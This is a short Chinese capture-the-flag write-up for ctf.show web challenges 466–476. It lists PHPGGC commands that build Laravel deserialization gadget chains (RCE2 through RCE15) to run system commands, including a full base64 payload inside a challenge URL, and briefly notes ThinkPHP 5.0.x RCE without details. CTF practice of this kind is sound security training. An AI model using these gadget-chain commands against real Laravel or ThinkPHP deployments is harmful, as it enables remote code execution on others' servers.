工具
首先下载工具PHPGGC
GitHub地址
./phpggc -l
web466
Laravel5.4
是这个版本的漏洞那么我们去看看那个poc链是这个版本的
Laravel/RCE2可以
命令
./phpggc -i Laravel/RCE2
题目提示要base64编码提交
./phpggc Laravel/RCE2 system 'ls /'|base64
成功RCE
https://31a97292-2e35-4d95-b771-dcdd6939a2f8.challenge.ctf.show/admin/Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIA
KgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAq
AGxpc3RlbmVycyI7YToxOntzOjc6InRhYyAvZioiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1z
Ojg6IgAqAGV2ZW50IjtzOjc6InRhYyAvZioiO30K
web467
Laravel5.5
命令
./phpggc Laravel/RCE3 system 'ls /'|base64
打不通,难道版本不对?哦也对,他没说后续版本
./phpggc -i Laravel/RCE3
这条链子会触发异常类也就是说会影响直接的代码执行,RCE2的版本肯定行
但是我偏要用RCE3
./phpggc Laravel/RCE3 system 'tac /f*> 1.txt'|base64
干这里来了?
web468
Laravel5.5版本
命令
./phpggc Laravel/RCE3 system 'tac /f*> 1.txt'|base64
web469
Laravel5.5版本
命令
./phpggc Laravel/RCE4 system 'tac /f*> 1.txt'|base64
web470
Laravel5.5版本
./phpggc Laravel/RCE9 system 'tac /f*> 1.txt'|base64
web471
Laravel5.8版本
其实可以用的链子有很多
./phpggc Laravel/RCE13 system 'tac /f*> 1.txt'|base64
web472
Laravel8.1版本
./phpggc Laravel/RCE15 system 'tac /f*> 1.txt'|base64
web473
thinkphp5.0.15
扫描发现good
利用工具,这个工具我也是和师傅们要到的,非常感谢那位师傅
web474
thinkphp5.0.5
payload可能错了
无回显
web475
thinkphp 5.0.0-5.0.23 rce
web476
thinkphp 5.0.0-5.0.23 rce